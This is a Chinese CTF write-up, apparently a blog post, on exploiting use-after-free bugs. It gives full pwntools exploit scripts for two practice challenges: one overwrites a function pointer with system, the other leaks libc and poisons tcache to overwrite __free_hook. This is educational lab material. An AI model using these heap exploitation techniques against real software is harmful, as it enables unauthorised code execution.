UAF小记

UAF简介:free掉堆块后未对其指针进行置零操作,导致还能通过show和edit去利用这个chunk

利用:

  1. 被free的chunk会进入链表,原来的mem区域会用来保存一些关键的指针,我们可以尝试泄露出来这些指针的内容,进而计算出相关基址。
  2. 被free的chunk会进入链表,原来的mem区域会用来保存一些关键的指针,我们可以尝试修改这些指针的内容,进而破坏链表实现跨段分配非法堆块获得libc(等)段的任意(或近似任意)写能力,或者跨段在关键指针处写入堆地址。

 题目:

BUUCTF在线评测 (buuoj.cn)

add函数会创建两个堆块,一个结构体,存放输出函数指针和content指针,content大小由输入的size决定,free函数存在uaf,show函数并没有直接使用printf,而是使用了结构体里面的指针,并且存在system函数和/bin/sh字符串,不需要泄露libc

 

先编写自动化脚本

from pwn import *

# p=remote("node3.buuoj.cn",26770)
p=process('./pwn')
elf=ELF('./pwn')
context(os='linux', arch='amd64', log_level='debug')

def add(size,content):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Please input size: ")
    p.sendline(str(size))
    p.recvuntil("Please input content: ")
    p.send(content)

def delete(index):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Please input list index: ")
    p.sendline(str(index))

def show(index):
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Please input list index: ")
    p.sendline(str(index))

bin_sh=0x602010
system=elf.plt['system']

因为输出是由函数指针决定的,如果我们可以控制结构体的指针,那么我们就可以通过show执行任意函数,那么如何控制结构体指针呢,就是uaf,free的时候同时free掉结构体堆块和content堆块,没有置空,那么如果我们想办法申请回来结构体堆块为content堆块我们就可以对其中的指针进行修改,再调用其堆块的show功能就可以getshell了

add(0x80,"aaaa")#0
add(0x80,"bbbb")#1

delete(0)
delete(1)
# gdb.attach(p)
add(0x10,p64(0x602010) + p64(system))#2

show(0)
p.interactive()

 先申请两个大于0x10大小的堆块,然后将其free,此时fastbins中0x20大小的堆块有两个,均为结构体堆块,fastbins的取出规则为先进后出,具体为free堆块时判断当前的 bin 是不是在 fast bin 范围内,在的话就插入到 fastbin 头部,即成为对应 fastbin 链表的第一个 free chunk,当malloc时从 fastbin 的头结点开始取 chunk。那么我们申请大小为0x10大小的content堆块时就会将chunk1的结构体作为chunk2的结构体,chunk0的结构体作为chun2的content域,所以修改content域就是修改chunk0的结构体,分别修改为system和/bin/sh地址再show(0)即可getshell

[HGAME 2023 week2]editable_note | NSSCTF

依旧存在uaf,但是libc为2.31,存在tcache,依旧先编写自动交互

from pwn import *
from struct import pack
from ctypes import *

from LibcSearcher import *


def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
#     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
# p = remote("node5.anna.nssctf.cn", 25565)
libc = ELF("./libc-2.31.so")
elf = ELF('./pwn')
def add(idx, size):
    sl(b"1")
    sla(b'Index: ', str(idx))
    sla(b'Size: ', str(size))
def free(idx):
    sl(b"2")
    sla(b'Index: ', str(idx))
def edit(idx, content):
    sl(b"3")
    sla(b'Index: ', str(idx))
    sa(b'Content: ', content)
def show(idx):
    sl(b'4')
    sla(b'Index: ', str(idx))

我们需要泄露libc地址,因此我们先填满tcache然后把一个堆块放进unsortedbin后show即可获取libc地址

for i in range(8):
    add(i,0xf0)
add(8,0x20)
for i in range(8):
    free(i)
show(7)

libc_base = get_addr() - 2018272
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

 接下来我们修改tcache的next指向为free_hook修改为system即可

add(9, 0x20)
add(10, 0x20)
free(8)
free(9)
edit(10,b"/bin/sh\x00")
edit(9,p64(free_hook))
add(11,0x20)
add(12,0x20)
edit(12,p64(system))
free(10)
# debug()
inter()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值